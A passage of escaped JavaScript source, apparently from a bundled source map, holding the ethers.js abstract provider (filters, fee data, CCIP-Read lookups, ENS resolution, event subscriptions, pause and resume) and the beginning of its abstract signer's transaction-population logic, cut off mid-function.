return toQuantity(blockTag);\n }\n if (typeof (blockTag) === \"bigint\") {\n blockTag = getNumber(blockTag, \"blockTag\");\n }\n if (typeof (blockTag) === \"number\") {\n if (blockTag >= 0) {\n return toQuantity(blockTag);\n }\n if (this.#lastBlockNumber >= 0) {\n return toQuantity(this.#lastBlockNumber + blockTag);\n }\n return this.getBlockNumber().then((b) => toQuantity(b + blockTag));\n }\n assertArgument(false, \"invalid blockTag\", \"blockTag\", blockTag);\n }\n /**\n * Returns or resolves to a filter for %%filter%%, resolving any ENS\n * names or [[Addressable]] object and returning if already a valid\n * filter.\n */\n _getFilter(filter) {\n // Create a canonical representation of the topics\n const topics = (filter.topics || []).map((t) => {\n if (t == null) {\n return null;\n }\n if (Array.isArray(t)) {\n return concisify(t.map((t) => t.toLowerCase()));\n }\n return t.toLowerCase();\n });\n const blockHash = (\"blockHash\" in filter) ? filter.blockHash : undefined;\n const resolve = (_address, fromBlock, toBlock) => {\n let address = undefined;\n switch (_address.length) {\n case 0: break;\n case 1:\n address = _address[0];\n break;\n default:\n _address.sort();\n address = _address;\n }\n if (blockHash) {\n if (fromBlock != null || toBlock != null) {\n throw new Error(\"invalid filter\");\n }\n }\n const filter = {};\n if (address) {\n filter.address = address;\n }\n if (topics.length) {\n filter.topics = topics;\n }\n if (fromBlock) {\n filter.fromBlock = fromBlock;\n }\n if (toBlock) {\n filter.toBlock = toBlock;\n }\n if (blockHash) {\n filter.blockHash = blockHash;\n }\n return filter;\n };\n // Addresses could be async (ENS names or Addressables)\n let address = [];\n if (filter.address) {\n if (Array.isArray(filter.address)) {\n for (const addr of filter.address) {\n address.push(this._getAddress(addr));\n }\n }\n else {\n address.push(this._getAddress(filter.address));\n }\n }\n let fromBlock = undefined;\n if (\"fromBlock\" in filter) {\n fromBlock = this._getBlockTag(filter.fromBlock);\n }\n let toBlock = undefined;\n if (\"toBlock\" in filter) {\n toBlock = this._getBlockTag(filter.toBlock);\n }\n if (address.filter((a) => (typeof (a) !== \"string\")).length ||\n (fromBlock != null && typeof (fromBlock) !== \"string\") ||\n (toBlock != null && typeof (toBlock) !== \"string\")) {\n return Promise.all([Promise.all(address), fromBlock, toBlock]).then((result) => {\n return resolve(result[0], result[1], result[2]);\n });\n }\n return resolve(address, fromBlock, toBlock);\n }\n /**\n * Returns or resolves to a transaction for %%request%%, resolving\n * any ENS names or [[Addressable]] and returning if already a valid\n * transaction.\n */\n _getTransactionRequest(_request) {\n const request = copyRequest(_request);\n const promises = [];\n [\"to\", \"from\"].forEach((key) => {\n if (request[key] == null) {\n return;\n }\n const addr = resolveAddress(request[key], this);\n if (isPromise(addr)) {\n promises.push((async function () { request[key] = await addr; })());\n }\n else {\n request[key] = addr;\n }\n });\n if (request.blockTag != null) {\n const blockTag = this._getBlockTag(request.blockTag);\n if (isPromise(blockTag)) {\n promises.push((async function () { request.blockTag = await blockTag; })());\n }\n else {\n request.blockTag = blockTag;\n }\n }\n if (promises.length) {\n return (async function () {\n await Promise.all(promises);\n return request;\n })();\n }\n return request;\n }\n async getNetwork() {\n // No explicit network was set and this is our first time\n if (this.#networkPromise == null) {\n // Detect the current network (shared with all calls)\n const detectNetwork = (async () => {\n try {\n const network = await this._detectNetwork();\n this.emit(\"network\", network, null);\n return network;\n }\n catch (error) {\n if (this.#networkPromise === detectNetwork) {\n this.#networkPromise = null;\n }\n throw error;\n }\n })();\n this.#networkPromise = detectNetwork;\n return (await detectNetwork).clone();\n }\n const networkPromise = this.#networkPromise;\n const [expected, actual] = await Promise.all([\n networkPromise,\n this._detectNetwork() // The actual connected network\n ]);\n if (expected.chainId !== actual.chainId) {\n if (this.#anyNetwork) {\n // The \"any\" network can change, so notify listeners\n this.emit(\"network\", actual, expected);\n // Update the network if something else hasn't already changed it\n if (this.#networkPromise === networkPromise) {\n this.#networkPromise = Promise.resolve(actual);\n }\n }\n else {\n // Otherwise, we do not allow changes to the underlying network\n assert(false, `network changed: ${expected.chainId} => ${actual.chainId} `, \"NETWORK_ERROR\", {\n event: \"changed\"\n });\n }\n }\n return expected.clone();\n }\n async getFeeData() {\n const network = await this.getNetwork();\n const getFeeDataFunc = async () => {\n const { _block, gasPrice, priorityFee } = await resolveProperties({\n _block: this.#getBlock(\"latest\", false),\n gasPrice: ((async () => {\n try {\n const value = await this.#perform({ method: \"getGasPrice\" });\n return getBigInt(value, \"%response\");\n }\n catch (error) { }\n return null;\n })()),\n priorityFee: ((async () => {\n try {\n const value = await this.#perform({ method: \"getPriorityFee\" });\n return getBigInt(value, \"%response\");\n }\n catch (error) { }\n return null;\n })())\n });\n let maxFeePerGas = null;\n let maxPriorityFeePerGas = null;\n // These are the recommended EIP-1559 heuristics for fee data\n const block = this._wrapBlock(_block, network);\n if (block && block.baseFeePerGas) {\n maxPriorityFeePerGas = (priorityFee != null) ? priorityFee : BigInt(\"1000000000\");\n maxFeePerGas = (block.baseFeePerGas * BN_2) + maxPriorityFeePerGas;\n }\n return new FeeData(gasPrice, maxFeePerGas, maxPriorityFeePerGas);\n };\n // Check for a FeeDataNetWorkPlugin\n const plugin = network.getPlugin(\"org.ethers.plugins.network.FetchUrlFeeDataPlugin\");\n if (plugin) {\n const req = new FetchRequest(plugin.url);\n const feeData = await plugin.processFunc(getFeeDataFunc, this, req);\n return new FeeData(feeData.gasPrice, feeData.maxFeePerGas, feeData.maxPriorityFeePerGas);\n }\n return await getFeeDataFunc();\n }\n async estimateGas(_tx) {\n let tx = this._getTransactionRequest(_tx);\n if (isPromise(tx)) {\n tx = await tx;\n }\n return getBigInt(await this.#perform({\n method: \"estimateGas\", transaction: tx\n }), \"%response\");\n }\n async #call(tx, blockTag, attempt) {\n assert(attempt < MAX_CCIP_REDIRECTS, \"CCIP read exceeded maximum redirections\", \"OFFCHAIN_FAULT\", {\n reason: \"TOO_MANY_REDIRECTS\",\n transaction: Object.assign({}, tx, { blockTag, enableCcipRead: true })\n });\n // This came in as a PerformActionTransaction, so to/from are safe; we can cast\n const transaction = copyRequest(tx);\n try {\n return hexlify(await this._perform({ method: \"call\", transaction, blockTag }));\n }\n catch (error) {\n // CCIP Read OffchainLookup\n if (!this.disableCcipRead && isCallException(error) && error.data && attempt >= 0 && blockTag === \"latest\" && transaction.to != null && dataSlice(error.data, 0, 4) === \"0x556f1830\") {\n const data = error.data;\n const txSender = await resolveAddress(transaction.to, this);\n // Parse the CCIP Read Arguments\n let ccipArgs;\n try {\n ccipArgs = parseOffchainLookup(dataSlice(error.data, 4));\n }\n catch (error) {\n assert(false, error.message, \"OFFCHAIN_FAULT\", {\n reason: \"BAD_DATA\", transaction, info: { data }\n });\n }\n // Check the sender of the OffchainLookup matches the transaction\n assert(ccipArgs.sender.toLowerCase() === txSender.toLowerCase(), \"CCIP Read sender mismatch\", \"CALL_EXCEPTION\", {\n action: \"call\",\n data,\n reason: \"OffchainLookup\",\n transaction: transaction,\n invocation: null,\n revert: {\n signature: \"OffchainLookup(address,string[],bytes,bytes4,bytes)\",\n name: \"OffchainLookup\",\n args: ccipArgs.errorArgs\n }\n });\n const ccipResult = await this.ccipReadFetch(transaction, ccipArgs.calldata, ccipArgs.urls);\n assert(ccipResult != null, \"CCIP Read failed to fetch data\", \"OFFCHAIN_FAULT\", {\n reason: \"FETCH_FAILED\", transaction, info: { data: error.data, errorArgs: ccipArgs.errorArgs }\n });\n const tx = {\n to: txSender,\n data: concat([ccipArgs.selector, encodeBytes([ccipResult, ccipArgs.extraData])])\n };\n this.emit(\"debug\", { action: \"sendCcipReadCall\", transaction: tx });\n try {\n const result = await this.#call(tx, blockTag, attempt + 1);\n this.emit(\"debug\", { action: \"receiveCcipReadCallResult\", transaction: Object.assign({}, tx), result });\n return result;\n }\n catch (error) {\n this.emit(\"debug\", { action: \"receiveCcipReadCallError\", transaction: Object.assign({}, tx), error });\n throw error;\n }\n }\n throw error;\n }\n }\n async #checkNetwork(promise) {\n const { value } = await resolveProperties({\n network: this.getNetwork(),\n value: promise\n });\n return value;\n }\n async call(_tx) {\n const { tx, blockTag } = await resolveProperties({\n tx: this._getTransactionRequest(_tx),\n blockTag: this._getBlockTag(_tx.blockTag)\n });\n return await this.#checkNetwork(this.#call(tx, blockTag, _tx.enableCcipRead ? 0 : -1));\n }\n // Account\n async #getAccountValue(request, _address, _blockTag) {\n let address = this._getAddress(_address);\n let blockTag = this._getBlockTag(_blockTag);\n if (typeof (address) !== \"string\" || typeof (blockTag) !== \"string\") {\n [address, blockTag] = await Promise.all([address, blockTag]);\n }\n return await this.#checkNetwork(this.#perform(Object.assign(request, { address, blockTag })));\n }\n async getBalance(address, blockTag) {\n return getBigInt(await this.#getAccountValue({ method: \"getBalance\" }, address, blockTag), \"%response\");\n }\n async getTransactionCount(address, blockTag) {\n return getNumber(await this.#getAccountValue({ method: \"getTransactionCount\" }, address, blockTag), \"%response\");\n }\n async getCode(address, blockTag) {\n return hexlify(await this.#getAccountValue({ method: \"getCode\" }, address, blockTag));\n }\n async getStorage(address, _position, blockTag) {\n const position = getBigInt(_position, \"position\");\n return hexlify(await this.#getAccountValue({ method: \"getStorage\", position }, address, blockTag));\n }\n // Write\n async broadcastTransaction(signedTx) {\n const { blockNumber, hash, network } = await resolveProperties({\n blockNumber: this.getBlockNumber(),\n hash: this._perform({\n method: \"broadcastTransaction\",\n signedTransaction: signedTx\n }),\n network: this.getNetwork()\n });\n const tx = Transaction.from(signedTx);\n if (tx.hash !== hash) {\n throw new Error(\"@TODO: the returned hash did not match\");\n }\n return this._wrapTransactionResponse(tx, network).replaceableTransaction(blockNumber);\n }\n async #getBlock(block, includeTransactions) {\n // @TODO: Add CustomBlockPlugin check\n if (isHexString(block, 32)) {\n return await this.#perform({\n method: \"getBlock\", blockHash: block, includeTransactions\n });\n }\n let blockTag = this._getBlockTag(block);\n if (typeof (blockTag) !== \"string\") {\n blockTag = await blockTag;\n }\n return await this.#perform({\n method: \"getBlock\", blockTag, includeTransactions\n });\n }\n // Queries\n async getBlock(block, prefetchTxs) {\n const { network, params } = await resolveProperties({\n network: this.getNetwork(),\n params: this.#getBlock(block, !!prefetchTxs)\n });\n if (params == null) {\n return null;\n }\n return this._wrapBlock(params, network);\n }\n async getTransaction(hash) {\n const { network, params } = await resolveProperties({\n network: this.getNetwork(),\n params: this.#perform({ method: \"getTransaction\", hash })\n });\n if (params == null) {\n return null;\n }\n return this._wrapTransactionResponse(params, network);\n }\n async getTransactionReceipt(hash) {\n const { network, params } = await resolveProperties({\n network: this.getNetwork(),\n params: this.#perform({ method: \"getTransactionReceipt\", hash })\n });\n if (params == null) {\n return null;\n }\n // Some backends did not backfill the effectiveGasPrice into old transactions\n // in the receipt, so we look it up manually and inject it.\n if (params.gasPrice == null && params.effectiveGasPrice == null) {\n const tx = await this.#perform({ method: \"getTransaction\", hash });\n if (tx == null) {\n throw new Error(\"report this; could not find tx or effectiveGasPrice\");\n }\n params.effectiveGasPrice = tx.gasPrice;\n }\n return this._wrapTransactionReceipt(params, network);\n }\n async getTransactionResult(hash) {\n const { result } = await resolveProperties({\n network: this.getNetwork(),\n result: this.#perform({ method: \"getTransactionResult\", hash })\n });\n if (result == null) {\n return null;\n }\n return hexlify(result);\n }\n // Bloom-filter Queries\n async getLogs(_filter) {\n let filter = this._getFilter(_filter);\n if (isPromise(filter)) {\n filter = await filter;\n }\n const { network, params } = await resolveProperties({\n network: this.getNetwork(),\n params: this.#perform({ method: \"getLogs\", filter })\n });\n return params.map((p) => this._wrapLog(p, network));\n }\n // ENS\n _getProvider(chainId) {\n assert(false, \"provider cannot connect to target network\", \"UNSUPPORTED_OPERATION\", {\n operation: \"_getProvider()\"\n });\n }\n async getResolver(name) {\n return await EnsResolver.fromName(this, name);\n }\n async getAvatar(name) {\n const resolver = await this.getResolver(name);\n if (resolver) {\n return await resolver.getAvatar();\n }\n return null;\n }\n async resolveName(name) {\n const resolver = await this.getResolver(name);\n if (resolver) {\n return await resolver.getAddress();\n }\n return null;\n }\n async lookupAddress(address) {\n address = getAddress(address);\n const node = namehash(address.substring(2).toLowerCase() + \".addr.reverse\");\n try {\n const ensAddr = await EnsResolver.getEnsAddress(this);\n const ensContract = new Contract(ensAddr, [\n \"function resolver(bytes32) view returns (address)\"\n ], this);\n const resolver = await ensContract.resolver(node);\n if (resolver == null || resolver === ZeroAddress) {\n return null;\n }\n const resolverContract = new Contract(resolver, [\n \"function name(bytes32) view returns (string)\"\n ], this);\n const name = await resolverContract.name(node);\n // Failed forward resolution\n const check = await this.resolveName(name);\n if (check !== address) {\n return null;\n }\n return name;\n }\n catch (error) {\n // No data was returned from the resolver\n if (isError(error, \"BAD_DATA\") && error.value === \"0x\") {\n return null;\n }\n // Something reerted\n if (isError(error, \"CALL_EXCEPTION\")) {\n return null;\n }\n throw error;\n }\n return null;\n }\n async waitForTransaction(hash, _confirms, timeout) {\n const confirms = (_confirms != null) ? _confirms : 1;\n if (confirms === 0) {\n return this.getTransactionReceipt(hash);\n }\n return new Promise(async (resolve, reject) => {\n let timer = null;\n const listener = (async (blockNumber) => {\n try {\n const receipt = await this.getTransactionReceipt(hash);\n if (receipt != null) {\n if (blockNumber - receipt.blockNumber + 1 >= confirms) {\n resolve(receipt);\n //this.off(\"block\", listener);\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n return;\n }\n }\n }\n catch (error) {\n console.log(\"EEE\", error);\n }\n this.once(\"block\", listener);\n });\n if (timeout != null) {\n timer = setTimeout(() => {\n if (timer == null) {\n return;\n }\n timer = null;\n this.off(\"block\", listener);\n reject(makeError(\"timeout\", \"TIMEOUT\", { reason: \"timeout\" }));\n }, timeout);\n }\n listener(await this.getBlockNumber());\n });\n }\n async waitForBlock(blockTag) {\n assert(false, \"not implemented yet\", \"NOT_IMPLEMENTED\", {\n operation: \"waitForBlock\"\n });\n }\n /**\n * Clear a timer created using the [[_setTimeout]] method.\n */\n _clearTimeout(timerId) {\n const timer = this.#timers.get(timerId);\n if (!timer) {\n return;\n }\n if (timer.timer) {\n clearTimeout(timer.timer);\n }\n this.#timers.delete(timerId);\n }\n /**\n * Create a timer that will execute %%func%% after at least %%timeout%%\n * (in ms). If %%timeout%% is unspecified, then %%func%% will execute\n * in the next event loop.\n *\n * [Pausing](AbstractProvider-paused) the provider will pause any\n * associated timers.\n */\n _setTimeout(_func, timeout) {\n if (timeout == null) {\n timeout = 0;\n }\n const timerId = this.#nextTimer++;\n const func = () => {\n this.#timers.delete(timerId);\n _func();\n };\n if (this.paused) {\n this.#timers.set(timerId, { timer: null, func, time: timeout });\n }\n else {\n const timer = setTimeout(func, timeout);\n this.#timers.set(timerId, { timer, func, time: getTime() });\n }\n return timerId;\n }\n /**\n * Perform %%func%% on each subscriber.\n */\n _forEachSubscriber(func) {\n for (const sub of this.#subs.values()) {\n func(sub.subscriber);\n }\n }\n /**\n * Sub-classes may override this to customize subscription\n * implementations.\n */\n _getSubscriber(sub) {\n switch (sub.type) {\n case \"debug\":\n case \"error\":\n case \"network\":\n return new UnmanagedSubscriber(sub.type);\n case \"block\": {\n const subscriber = new PollingBlockSubscriber(this);\n subscriber.pollingInterval = this.pollingInterval;\n return subscriber;\n }\n case \"safe\":\n case \"finalized\":\n return new PollingBlockTagSubscriber(this, sub.type);\n case \"event\":\n return new PollingEventSubscriber(this, sub.filter);\n case \"transaction\":\n return new PollingTransactionSubscriber(this, sub.hash);\n case \"orphan\":\n return new PollingOrphanSubscriber(this, sub.filter);\n }\n throw new Error(`unsupported event: ${sub.type}`);\n }\n /**\n * If a [[Subscriber]] fails and needs to replace itself, this\n * method may be used.\n *\n * For example, this is used for providers when using the\n * ``eth_getFilterChanges`` method, which can return null if state\n * filters are not supported by the backend, allowing the Subscriber\n * to swap in a [[PollingEventSubscriber]].\n */\n _recoverSubscriber(oldSub, newSub) {\n for (const sub of this.#subs.values()) {\n if (sub.subscriber === oldSub) {\n if (sub.started) {\n sub.subscriber.stop();\n }\n sub.subscriber = newSub;\n if (sub.started) {\n newSub.start();\n }\n if (this.#pausedState != null) {\n newSub.pause(this.#pausedState);\n }\n break;\n }\n }\n }\n async #hasSub(event, emitArgs) {\n let sub = await getSubscription(event, this);\n // This is a log that is removing an existing log; we actually want\n // to emit an orphan event for the removed log\n if (sub.type === \"event\" && emitArgs && emitArgs.length > 0 && emitArgs[0].removed === true) {\n sub = await getSubscription({ orphan: \"drop-log\", log: emitArgs[0] }, this);\n }\n return this.#subs.get(sub.tag) || null;\n }\n async #getSub(event) {\n const subscription = await getSubscription(event, this);\n // Prevent tampering with our tag in any subclass' _getSubscriber\n const tag = subscription.tag;\n let sub = this.#subs.get(tag);\n if (!sub) {\n const subscriber = this._getSubscriber(subscription);\n const addressableMap = new WeakMap();\n const nameMap = new Map();\n sub = { subscriber, tag, addressableMap, nameMap, started: false, listeners: [] };\n this.#subs.set(tag, sub);\n }\n return sub;\n }\n async on(event, listener) {\n const sub = await this.#getSub(event);\n sub.listeners.push({ listener, once: false });\n if (!sub.started) {\n sub.subscriber.start();\n sub.started = true;\n if (this.#pausedState != null) {\n sub.subscriber.pause(this.#pausedState);\n }\n }\n return this;\n }\n async once(event, listener) {\n const sub = await this.#getSub(event);\n sub.listeners.push({ listener, once: true });\n if (!sub.started) {\n sub.subscriber.start();\n sub.started = true;\n if (this.#pausedState != null) {\n sub.subscriber.pause(this.#pausedState);\n }\n }\n return this;\n }\n async emit(event, ...args) {\n const sub = await this.#hasSub(event, args);\n // If there is not subscription or if a recent emit removed\n // the last of them (which also deleted the sub) do nothing\n if (!sub || sub.listeners.length === 0) {\n return false;\n }\n ;\n const count = sub.listeners.length;\n sub.listeners = sub.listeners.filter(({ listener, once }) => {\n const payload = new EventPayload(this, (once ? null : listener), event);\n try {\n listener.call(this, ...args, payload);\n }\n catch (error) { }\n return !once;\n });\n if (sub.listeners.length === 0) {\n if (sub.started) {\n sub.subscriber.stop();\n }\n this.#subs.delete(sub.tag);\n }\n return (count > 0);\n }\n async listenerCount(event) {\n if (event) {\n const sub = await this.#hasSub(event);\n if (!sub) {\n return 0;\n }\n return sub.listeners.length;\n }\n let total = 0;\n for (const { listeners } of this.#subs.values()) {\n total += listeners.length;\n }\n return total;\n }\n async listeners(event) {\n if (event) {\n const sub = await this.#hasSub(event);\n if (!sub) {\n return [];\n }\n return sub.listeners.map(({ listener }) => listener);\n }\n let result = [];\n for (const { listeners } of this.#subs.values()) {\n result = result.concat(listeners.map(({ listener }) => listener));\n }\n return result;\n }\n async off(event, listener) {\n const sub = await this.#hasSub(event);\n if (!sub) {\n return this;\n }\n if (listener) {\n const index = sub.listeners.map(({ listener }) => listener).indexOf(listener);\n if (index >= 0) {\n sub.listeners.splice(index, 1);\n }\n }\n if (!listener || sub.listeners.length === 0) {\n if (sub.started) {\n sub.subscriber.stop();\n }\n this.#subs.delete(sub.tag);\n }\n return this;\n }\n async removeAllListeners(event) {\n if (event) {\n const { tag, started, subscriber } = await this.#getSub(event);\n if (started) {\n subscriber.stop();\n }\n this.#subs.delete(tag);\n }\n else {\n for (const [tag, { started, subscriber }] of this.#subs) {\n if (started) {\n subscriber.stop();\n }\n this.#subs.delete(tag);\n }\n }\n return this;\n }\n // Alias for \"on\"\n async addListener(event, listener) {\n return await this.on(event, listener);\n }\n // Alias for \"off\"\n async removeListener(event, listener) {\n return this.off(event, listener);\n }\n /**\n * If this provider has been destroyed using the [[destroy]] method.\n *\n * Once destroyed, all resources are reclaimed, internal event loops\n * and timers are cleaned up and no further requests may be sent to\n * the provider.\n */\n get destroyed() {\n return this.#destroyed;\n }\n /**\n * Sub-classes may use this to shutdown any sockets or release their\n * resources and reject any pending requests.\n *\n * Sub-classes **must** call ``super.destroy()``.\n */\n destroy() {\n // Stop all listeners\n this.removeAllListeners();\n // Shut down all tiemrs\n for (const timerId of this.#timers.keys()) {\n this._clearTimeout(timerId);\n }\n this.#destroyed = true;\n }\n /**\n * Whether the provider is currently paused.\n *\n * A paused provider will not emit any events, and generally should\n * not make any requests to the network, but that is up to sub-classes\n * to manage.\n *\n * Setting ``paused = true`` is identical to calling ``.pause(false)``,\n * which will buffer any events that occur while paused until the\n * provider is unpaused.\n */\n get paused() { return (this.#pausedState != null); }\n set paused(pause) {\n if (!!pause === this.paused) {\n return;\n }\n if (this.paused) {\n this.resume();\n }\n else {\n this.pause(false);\n }\n }\n /**\n * Pause the provider. If %%dropWhilePaused%%, any events that occur\n * while paused are dropped, otherwise all events will be emitted once\n * the provider is unpaused.\n */\n pause(dropWhilePaused) {\n this.#lastBlockNumber = -1;\n if (this.#pausedState != null) {\n if (this.#pausedState == !!dropWhilePaused) {\n return;\n }\n assert(false, \"cannot change pause type; resume first\", \"UNSUPPORTED_OPERATION\", {\n operation: \"pause\"\n });\n }\n this._forEachSubscriber((s) => s.pause(dropWhilePaused));\n this.#pausedState = !!dropWhilePaused;\n for (const timer of this.#timers.values()) {\n // Clear the timer\n if (timer.timer) {\n clearTimeout(timer.timer);\n }\n // Remaining time needed for when we become unpaused\n timer.time = getTime() - timer.time;\n }\n }\n /**\n * Resume the provider.\n */\n resume() {\n if (this.#pausedState == null) {\n return;\n }\n this._forEachSubscriber((s) => s.resume());\n this.#pausedState = null;\n for (const timer of this.#timers.values()) {\n // Remaining time when we were paused\n let timeout = timer.time;\n if (timeout < 0) {\n timeout = 0;\n }\n // Start time (in cause paused, so we con compute remaininf time)\n timer.time = getTime();\n // Start the timer\n setTimeout(timer.func, timeout);\n }\n }\n}\nfunction _parseString(result, start) {\n try {\n const bytes = _parseBytes(result, start);\n if (bytes) {\n return toUtf8String(bytes);\n }\n }\n catch (error) { }\n return null;\n}\nfunction _parseBytes(result, start) {\n if (result === \"0x\") {\n return null;\n }\n try {\n const offset = getNumber(dataSlice(result, start, start + 32));\n const length = getNumber(dataSlice(result, offset, offset + 32));\n return dataSlice(result, offset + 32, offset + 32 + length);\n }\n catch (error) { }\n return null;\n}\nfunction numPad(value) {\n const result = toBeArray(value);\n if (result.length > 32) {\n throw new Error(\"internal; should not happen\");\n }\n const padded = new Uint8Array(32);\n padded.set(result, 32 - result.length);\n return padded;\n}\nfunction bytesPad(value) {\n if ((value.length % 32) === 0) {\n return value;\n }\n const result = new Uint8Array(Math.ceil(value.length / 32) * 32);\n result.set(value);\n return result;\n}\nconst empty = new Uint8Array([]);\n// ABI Encodes a series of (bytes, bytes, ...)\nfunction encodeBytes(datas) {\n const result = [];\n let byteCount = 0;\n // Add place-holders for pointers as we add items\n for (let i = 0; i < datas.length; i++) {\n result.push(empty);\n byteCount += 32;\n }\n for (let i = 0; i < datas.length; i++) {\n const data = getBytes(datas[i]);\n // Update the bytes offset\n result[i] = numPad(byteCount);\n // The length and padded value of data\n result.push(numPad(data.length));\n result.push(bytesPad(data));\n byteCount += 32 + Math.ceil(data.length / 32) * 32;\n }\n return concat(result);\n}\nconst zeros = \"0x0000000000000000000000000000000000000000000000000000000000000000\";\nfunction parseOffchainLookup(data) {\n const result = {\n sender: \"\", urls: [], calldata: \"\", selector: \"\", extraData: \"\", errorArgs: []\n };\n assert(dataLength(data) >= 5 * 32, \"insufficient OffchainLookup data\", \"OFFCHAIN_FAULT\", {\n reason: \"insufficient OffchainLookup data\"\n });\n const sender = dataSlice(data, 0, 32);\n assert(dataSlice(sender, 0, 12) === dataSlice(zeros, 0, 12), \"corrupt OffchainLookup sender\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup sender\"\n });\n result.sender = dataSlice(sender, 12);\n // Read the URLs from the response\n try {\n const urls = [];\n const urlsOffset = getNumber(dataSlice(data, 32, 64));\n const urlsLength = getNumber(dataSlice(data, urlsOffset, urlsOffset + 32));\n const urlsData = dataSlice(data, urlsOffset + 32);\n for (let u = 0; u < urlsLength; u++) {\n const url = _parseString(urlsData, u * 32);\n if (url == null) {\n throw new Error(\"abort\");\n }\n urls.push(url);\n }\n result.urls = urls;\n }\n catch (error) {\n assert(false, \"corrupt OffchainLookup urls\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup urls\"\n });\n }\n // Get the CCIP calldata to forward\n try {\n const calldata = _parseBytes(data, 64);\n if (calldata == null) {\n throw new Error(\"abort\");\n }\n result.calldata = calldata;\n }\n catch (error) {\n assert(false, \"corrupt OffchainLookup calldata\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup calldata\"\n });\n }\n // Get the callbackSelector (bytes4)\n assert(dataSlice(data, 100, 128) === dataSlice(zeros, 0, 28), \"corrupt OffchainLookup callbaackSelector\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup callbaackSelector\"\n });\n result.selector = dataSlice(data, 96, 100);\n // Get the extra data to send back to the contract as context\n try {\n const extraData = _parseBytes(data, 128);\n if (extraData == null) {\n throw new Error(\"abort\");\n }\n result.extraData = extraData;\n }\n catch (error) {\n assert(false, \"corrupt OffchainLookup extraData\", \"OFFCHAIN_FAULT\", {\n reason: \"corrupt OffchainLookup extraData\"\n });\n }\n result.errorArgs = \"sender,urls,calldata,selector,extraData\".split(/,/).map((k) => result[k]);\n return result;\n}\n//# sourceMappingURL=abstract-provider.js.map","/**\n * Generally the [[Wallet]] and [[JsonRpcSigner]] and their sub-classes\n * are sufficent for most developers, but this is provided to\n * fascilitate more complex Signers.\n *\n * @_section: api/providers/abstract-signer: Subclassing Signer [abstract-signer]\n */\nimport { resolveAddress } from \"../address/index.js\";\nimport { Transaction } from \"../transaction/index.js\";\nimport { defineProperties, getBigInt, resolveProperties, assert, assertArgument } from \"../utils/index.js\";\nimport { copyRequest } from \"./provider.js\";\nfunction checkProvider(signer, operation) {\n if (signer.provider) {\n return signer.provider;\n }\n assert(false, \"missing provider\", \"UNSUPPORTED_OPERATION\", { operation });\n}\nasync function populate(signer, tx) {\n let pop = copyRequest(tx);\n if (pop.to != null) {\n pop.to = resolveAddress(pop.to, signer);\n }\n if (pop.from != null) {\n const from = pop.from;\n pop.from = Promise.all([\n signer.getAddress(),\n resolveAddress(from, signer)\n ]).then(([address, from]) => {\n assertArgument(address.toLowerCase() === from.toLowerCase(), \"transaction from mismatch\", \"tx.from\", from);\n return address;\n });\n }\n else {\n pop.from = signer.getAddress();\n }\n return await resolveProperties(pop);\n}\n/**\n * An **AbstractSigner** includes most of teh functionality required\n * to get a [[Signer]] working as expected, but requires a few\n * Signer-specific methods be overridden.\n *\n */\nexport class AbstractSigner {\n /**\n * The provider this signer is connected to.\n */\n provider;\n /**\n * Creates a new Signer connected to %%provider%%.\n */\n constructor(provider) {\n defineProperties(this, { provider: (provider || null) });\n }\n async getNonce(blockTag) {\n return checkProvider(this, \"getTransactionCount\").getTransactionCount(await this.getAddress(), blockTag);\n }\n async populateCall(tx) {\n const pop = await populate(this, tx);\n return pop;\n }\n async populateTransaction(tx) {\n const provider = checkProvider(this, \"populateTransaction\");\n const pop = await populate(this, tx);\n if (pop.nonce == null) {\n pop.nonce = await this.getNonce(\"pending\");\n }\n if (pop.gasLimit == null) {\n pop.gasLimit = await this.estimateGas(pop);\n }\n // Populate the chain ID\n const network = await (this.provider).getNetwork();\n if (pop.chainId != null) {\n const chainId = getBigInt(pop.chainId);\n assertArgument(chainId === network.chainId, \"transaction chainId mismatch\", \"tx.chainId\", tx.chainId);\n }\n else {\n pop.chainId = network.chainId;\n }\n // Do not allow mixing pre-eip-1559 and eip-1559 properties\n const hasEip1559 = (pop.maxFeePerGas != null || pop.maxPriorityFeePerGas != null);\n if (pop.gasPrice != null && (pop.type === 2 || hasEip1559)) {\n assertArgument(false, \"eip-1559 transaction do not support gasPrice\", \"tx\", tx);\n }\n else if ((pop.type === 0 || pop.type === 1) && hasEip1559) {\n assertArgument(false, \"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas\", \"tx\", tx);\n }\n if ((pop.type === 2 || pop.type == null) && (pop.maxFeePerGas != null && pop.maxPriorityFeePerGas != null)) {\n // Fully-formed EIP-1559 transaction (skip getFeeData)\n pop.type = 2;\n }\n else if (pop.type === 0 || pop.type === 1) {\n // Explicit Legacy or EIP-2930 transaction\n // We need to get fee data to determine things\n const feeData = await provider.getFeeData();\n assert(feeData.gasPrice != null, \"network does not support gasPrice\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getGasPrice\"\n });\n // Populate missing gasPrice\n if (pop.gasPrice == null) {\n pop.gasPrice = feeData.gasPrice;\n }\n }\n else {\n // We need to get fee data to determine things\n const feeData = await provider.getFeeData();\n if (pop.type == null) {\n // We need to auto-detect the intended type of this transaction...\n if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) {\n // The network supports EIP-1559!\n // Upgrade transaction from null to eip-1559\n if (pop.authorizationList && pop.authorizationList.length) {\n pop.type = 4;\n }\n else {\n pop.type = 2;\n }\n if (pop.gasPrice != null) {\n // Using legacy gasPrice property on an eip-1559 network,\n // so use gasPrice as both fee properties\n const gasPrice = pop.gasPrice;\n delete pop.gasPrice;\n pop.maxFeePerGas = gasPrice;\n pop.maxPriorityFeePerGas = gasPrice;\n }\n else {\n // Populate missing fee data\n if (pop.maxFeePerGas == null) {\n pop.maxFeePerGas = feeData.maxFeePerGas;\n }\n if (pop.maxPriorityFeePerGas == null) {\n pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas;\n }\n }\n }\n else if (feeData.gasPrice != null) {\n // Network doesn't support EIP-1559...\n // ...but they are trying to use EIP-1559 properties\n assert(!hasEip1559, \"network does not support EIP-1559\", \"UNSUPPORTED_OPERATION\", {\n operation: \"populateTransaction\"\n });\n // Populate missing fee data\n if (pop.gasPrice == null) {\n pop.gasPrice = feeData.gasPrice;\n }\n // Explicitly set untyped transaction to legacy\n // @TODO: Maybe this shold allow type 1?\n pop.type = 0;\n }\n else {\n // 